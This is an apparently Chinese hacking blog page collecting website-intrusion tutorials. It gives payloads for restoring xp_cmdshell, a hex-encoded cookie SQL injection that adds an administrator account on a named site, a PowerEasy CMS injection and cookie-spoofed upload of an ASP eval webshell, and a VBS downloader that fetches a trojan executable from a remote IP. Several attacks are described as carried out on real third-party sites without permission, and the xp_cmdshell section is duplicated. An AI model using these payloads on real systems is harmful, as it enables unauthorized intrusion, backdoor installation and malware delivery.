GOGO BLOG

GOGO

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  157篇文章 :: 0篇收藏:: 112篇评论:: 3个Trackbacks

文章

收藏

相册

友情连接

存档


正在读取评论……


『 网站入侵师 』

脚本漏洞,SQL注入,WEB安全讨论以及数据库攻防的话题
 

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
  
第一部分:
  
有关去掉xp_cmdshell来保护系统的分析总结:
首先知道一下语句:
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and 
OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
  
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc 'xp_cmdshell'就可以了
  
第二部分:
  
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and 
OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
  
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc 'xp_cmdshell'就可以了
  
第二部分:
  
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:

]当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。

在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示数据库中已存在名为'xp_cmdshell'的对象。



    摘要:

某日,为了找个免费的asp.net空间我转悠到了站长之家http://www.yisou8.com,令人失望的是几条asp.net空间信息根本就没法用,浪费了偶的注册时间,怎“郁闷”两字了得?!
于是,我决定帮忙监测一下网站有没有洞洞?很失望啊,很失望,在网站首页的所有潜在注入点都“试射”了一遍,没有发现一个可以利用的。郁闷之际,看到“美女图库”分栏目,决定进取看看MM图片休闲一下。
图1
一、挖掘注入点
习惯性的再加个单引号http://www.yisou8.com/sucai/index.asp?catid=4',这次又有了新的发现,幸亏我观察得仔细啊,两次返回的图片不一样,大家看看两次的图片对比。
当提交第一个网址的时候,返回正常页面,提交第二个网址的时候返回另一个页面的信    (全文共4955字)——点击此处阅读全文



    摘要:推荐:动网7.x权限提升漏洞原理    (全文共10945字)——点击此处阅读全文


    摘要:

注:出于对目标网站的安全考虑,本文屏蔽大部分关于目标网站的资料,敬请谅解。

元旦到了,学校终于给我们放了2天假,于是我用这宝贵的休息时间到网上溜了一圈,随意浏览中偶然发现了一个刚成立不久的门户型搜索引擎,出于习惯对其进行了一番安全检查,结果哑然,网站竟然出现了注入漏洞,而且还是SQL+SA连接,当时我的感觉就是这个网站应该算是over了。由于这个网站分两部分,门户页面和用户交互页面分别使用两个独台独立的服务器,superscan一扫,只有门户服务    (全文共3521字)——点击此处阅读全文


一、目标的锁定
MSN上朋友icerover发信息过来问我些关于cookie注射的问题,刚好那时读蚂蚁影院系统的代码,也正好发现了其chageusr.asp. 存在cookie注射漏洞,这里简要分析其代码:

====================code==========================

====================code==========================
通过上面的简要分析我们可以知道,userid和password并没有过滤,userid和password全来自客户端的cookie,所以我们只要在客户端中的cookie构造注射语句就可以进行注射.
怎么利用这里暂不介绍,下面会提到.
朋友告诉我,有一个站www.chinaxxx.net其member.asp存在cookie注射漏洞,其权限为sa.
二、渗透之旅
下面为其member.asp的代码:
====================code==========================


====================code==========================
通过上面的代码Userid = Request.Cookies("Userid")等等,我们可以知道其userid和email的值是来客户端的cookie,再跟踪一下会发现其cookie并没有过滤,而是
strQ = "select * from tb_users where usertype>0 and email='" &Email & "' and Userid=" &Userid
直接查询,所以这个时候我们只要在cookie里面构造正确的语句就可以搞定这个站点,sa权限可以让我们….嘿嘿
三、cookie注射注意点
1.;符号,在cookie里,各个变量间的是用;来区分的,所以你的注射语句里面不要乱含有;,如果你含有的话,可能会导致你的注射语句出错.
2.空格符号,在cookie里,会自动过滤掉空格,所以你的注射语句里面要注意转换
该注意的地方也差不多了,现在我们开始我们的注射之旅吧.
四、我注,我注,我注注注
其member.asp需要登陆,登陆后其cookie如下
Userid=5581;email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH
变换一下位置,方便注射
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581;

查一下版本:
把 and 1=(select @@version);--解码一下,转换如下:
%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D
整个cookie变换成
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D
;
得到回显如图一:

1134436620346_8284.jpg
 
扫描其端口发现开了3389,直接加个用户,注射如下:
转换语句:
;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out exec sp_oamethod @o,'run',NULL,'net.exe user linzi linzihk /add';exec sp_oamethod @o,'run',NULL,'net.exe localgroup administrators linzi /add';--
如下:
%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D
修改cookie如下:
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D;
得到回显如图二:

1134436650434_5637.jpg
 
虽然显示占线,但已经执行成功,开了TS,直接用3389登陆器登上去,bingo!拿下站点.
五、总结:
无语,大家自己去体会!~~~


好久没写文章了,此文主要给大家讲解二个技巧:一是灵巧的注入;二是不进后台巧妙的上传WebShell。希望各位朋友能举一反三,有不当之处请高手指教。
一、注入漏洞
因一朋友想让帮他看一个站,装的是动易2005ACCESS版,以前和LLIKZ发现动易SQL版存在短消息注入漏洞,因为能执行多语句所以利用起来相对容易一些(其实ACCESS也存在漏洞,因手工猜测起来比较麻烦,所以就一保留了,哈哈)。此站的漏洞同样是在短消息这个地方,不同的是它是ACCESS版,首先注册一个用户,然后登录,如果进入后用户控制面板没有短消息功能,你可以试试在网址中输入http://www.***.com/user/user_message.asp 先给自己发一个短消息然后在删短消息,如果我们在删除的短消息的能数MessageID=1; 后加一个分号系统返回“语法错误 在查询表达式 'Incept='admin' and ID in (4;)' 中。”说明存在注入漏洞。如下图所示:

为什么报错呢?大家仔细看一下,在SQL中in后面应该是一个集合,但是4后面多了一个分号这样就不出现了语法错误。经过测试发现只有存在语法错误的时候才会报错,哪怎么能通过这个报错来实现注入呢?因此想到了iif语句,构造的语句如下:/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=1)and%201=(select%20top%201%20iif(asc(mid(password,1,1))<96,1,password)%20from%20pe_admin 接下来给大家分析一下为什么要构造这样的语句呢?因为根据加分号的报错情况来看短消息后面还有一个右括号,以补足in条件,所以在构造的注入语句MessageID=1后面加了一个右括号,表名pe_admin后面为什么没加右括号是因为借用了in条件语句的右括号。接下来我们在看看关键的语句iif(asc(mid(password,1,1))<96,1,password),asc(mid(password,1,1))<96的意思是判断password字段的第一位的ASCII值是否大于96,整个iif语句的意思是,如果password字段的第一位的ASCII值是否小于96,就返回1,否则返回password。如果返回1,select语句返回的结果是1=1因此是正确的,会出现如下图:

相反如果如果password字段的第一位的ASCII值是不小于96,则返加字段的值,1=psssword的值时会出现如下提示:“标准表达式中数据类型不匹配。”

这样就可以根据返回不同的信息进行爆破了。
二、上传漏洞
以上注入说完了,在来谈谈如何不进后台上传,在这里给大家提供一种上传思路——cookie欺骗式上传。看有关“顶部栏目菜单管理”的文件Admin_RootClass_Menu.asp,包括如下几个头文件
    //数据库连接文件
//有关函数定义的文件
//检查管理权限的文件
//顶部栏目菜单设置文件
如果确定是管理员以后,会把我们设置的参数的内容写到RootClass_Menu_Config.asp文件中,如果来绕过Admin_ChkPurview.asp这个文件呢?大家看它有这样一段代码:
'检查管理员是否登录
AdminName = ReplaceBadChar(Trim(Request.Cookies(Site_Sn)("AdminName")))//管理员名
AdminPassword = ReplaceBadChar(Trim(Request.Cookies(Site_Sn)("AdminPassword")))//管理员md5密码
RndPassword = ReplaceBadChar(Trim(Request.Cookies(Site_Sn)("RndPassword")))//管理员的一个随机密码
程序就是通过这三个变量确定是不是管理员,而且它们都是在Cookies中取得的,这样我们就可以通过抓包Cookie欺骗了。
具体方法:先在本地机器装好系统,登录后台,点击顶部栏目菜单管理,在菜单背景图片:栏中按填入如下代码:
"%> <%'然后抓包如下:
POST /admin/Admin_RootClass_Menu.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://178.126.0.234/admin/Admin_RootClass_Menu.asp?ChannelID=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: 178.126.0.234
Content-Length: 1009
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCSBQACQ=IFFFGAKDHJPAJJCCDGOKMOEN; SendMessage=Yes; 1781260234=AdminName=admin&RndPassword=5748509MMHo36NDH&AdminPassword=469e80d32c0559f8&CookieDate=1; VisitNum=1

RCM_Menu_1=4&RCM_Menu_2=0&RCM_Menu_3=0&RCM_Menu_4=2&RCM_Menu_5=3&RCM_Menu_6=6&RCM_Menu_7=7&RCM_Menu_8=100&RCM_Menu_9=filter%3AGlow%28Color%3D%23000000%2C+Strength%3D3%29&RCM_Menu_10=4&RCM_Menu_12=23&RCM_Menu_13=50&RCM_Menu_14=2&RCM_Menu_15=4&RCM_Menu_16=%23999999&RCM_Menu_17=%23ffffff&RCM_Menu_18=%22%25%3E%3CSCRIPT+RUNAT%3DSERVER+LANGUAGE%3DJAVASCRIPT%3Eeval%28Request.form%28%27yongger%27%29%2B%27%27%29%3C%2FSCRIPT%3E%3C%25%27&RCM_Menu_19=3&RCM_Menu_20=1&RCM_Menu_21=1&RCM_Menu_22=%23ACA899&RCM_Item_12=&RCM_Item_13=&RCM_Item_14=0&RCM_Item_15=0&RCM_Item_16=0&RCM_Item_17=&RCM_Item_18=&RCM_Item_19=0&RCM_Item_20=0&RCM_Item_21=0&RCM_Item_22=0&RCM_Item_23=1&RCM_Item_24=%23F1F2EE&RCM_Item_25=1&RCM_Item_26=%23CCCCCC&RCM_Item_27=1&RCM_Item_28=&RCM_Item_29=&RCM_Item_30=3&RCM_Item_32=0&RCM_Item_33=0&RCM_Item_34=%23FFFFF7&RCM_Item_35=%23FF0000&RCM_Item_36=%23000000&RCM_Item_37=%23CC0000&RCM_Item_38=9pt+%CB%CE%CC%E5&RCM_Item_39=9pt+%CB%CE%CC%E5&Action=SaveConfig&ChannelID=1&cmdSave=+%B1%A3%B4%E6%C9%E8%D6%C3+
修改抓包内容:Referer: http://178.126.0.234/admin/Admin_RootClass_Menu.asp?ChannelID=1和Host: 178.126.0.234的主机名改成目标主机名;1781260234=AdminName=admin&RndPassword=5748509MMHo36NDH&AdminPassword=469e80d32c0559f8除了AdminName、RndPassword和AdminPassword的内容换成目标站的以外,1781260234这一串字符也要换成目标站的url去掉字符点以后的内容,有的朋友也许看出来的1781260234正好是我的IP去掉点后的内容,如果你的是址名www.abc.com改成如下:wwwabccom,改改完毕后利用NC提交就可以了。提交成功之后文件RootClass_Menu_Config.asp内容如下图:

三、动易上传漏洞黑防专版
为方便各位朋友的使用,偶编了一个程序,如果对方存在注入漏洞,先注册一用户,保存cookie并给自己发送一短消息然后点开始即可爆出RndPassword和Password,程序没有爆管理员用户名需用户自己填上,然后点击上传,如发现对话框“上传成功”,你就可以使用冰狐一句话后门了。同进站点返回的信息会显示在最下面的空白框中。

小技巧:很多网站利用的默认数据http://www.***.com/database/powereasy5.mdb,下载后直接填入RndPassword,Password和管理员名就可以上传后门了。



    摘要:用WebShell实现DDOS攻击    (全文共982字)——点击此处阅读全文


    摘要:

位站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这才想起应该写一篇文章和大家共享一下,同时也请广大已经使用了eWebEditor的站长赶紧检查一下自己的站点。要不然,下一个被黑的就是你哦!

漏洞利用
利用eWebEditor获得WebShell的步骤大致如下:
1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,    (全文共3897字)——点击此处阅读全文


一些经典的vbs脚本


1.文件下载(无回显)
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe

用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe


2.列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs

用法:cscript ps.vbs


3.终止进程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs

用法:cscript pskill.vbs pid


4.重启系统
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs

用法:cscript reboot.vbs



    摘要:入侵    (全文共16036字)——点击此处阅读全文

第1页,共8页